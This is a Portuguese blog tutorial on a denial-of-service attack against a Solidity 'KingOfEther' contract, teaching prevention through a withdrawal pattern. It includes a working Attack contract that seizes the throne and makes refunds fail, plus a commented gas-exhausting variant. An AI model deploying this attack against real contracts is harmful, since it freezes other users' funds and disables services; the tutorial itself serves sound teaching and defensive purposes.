Inutilizar um contrato através da negação de serviço

porMatheusem23/06/2022

Nesse artigo iremos aprender a como um contrato malicioso age para tornar um contrato inutilizável e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

Existem muitas maneiras de atacar um contrato inteligente para torná-lo inutilizável.

Uma exploração que introduzimos aqui é a negação de serviço, fazendo com que a função de enviar Ether falhe.

Como funciona:
O objetivo do KingOfEther é se tornar o rei enviando mais Ether do que o rei anterior. O rei anterior será reembolsado com a quantidade de Ether que ele enviou.

  1. Implante KingOfEther
  2. Alice se torna o rei enviando 1 Ether para ClaimThrone().
  3. Bob se torna o rei enviando 2 Ether para ClaimThrone(). Alice recebe um reembolso de 1 Ether.
  4. Implante o ataque com o endereço de KingOfEther.
  5. Chame o ataque com 3 Ether.
  6. O rei atual é o contrato de ataque e ninguém pode se tornar o novo rei.

O que aconteceu?
Ataque se tornou o rei. Todo novo desafio para reivindicar o trono será rejeitado já que o contrato de ataque não possui função de fallback, negando a aceitação do Ether enviado de KingOfEther antes que o novo rei seja definido.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Precisa pagar mais para se tornar o rei");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Falha ao enviar Ether");
balance = msg.value;
king = msg.sender;
}
}
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// Você também pode executar um DOS consumindo todo o gás usando assert.
// Este ataque funcionará mesmo se o contrato de chamada não verificar
// se a chamada foi bem sucedida ou não.
//
// function () external payable {
// assert(false);
// }
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}

Técnicas Preventivas

Uma maneira de evitar isso é permitir que os usuários retirem seu Ether em vez de enviá-lo.

Aqui está um exemplo.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract KingOfEther {
address public king;
uint public balance;
mapping(address => uint) public balances;
function claimThrone() external payable {
require(msg.value > balance, "Precisa pagar mais para se tornar o rei");
balances[king] += balance;
balance = msg.value;
king = msg.sender;
}
function withdraw() public {
require(msg.sender != king, "O rei atual não pode sacar");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Falha ao enviar Ether");
}
}

Testar no Remix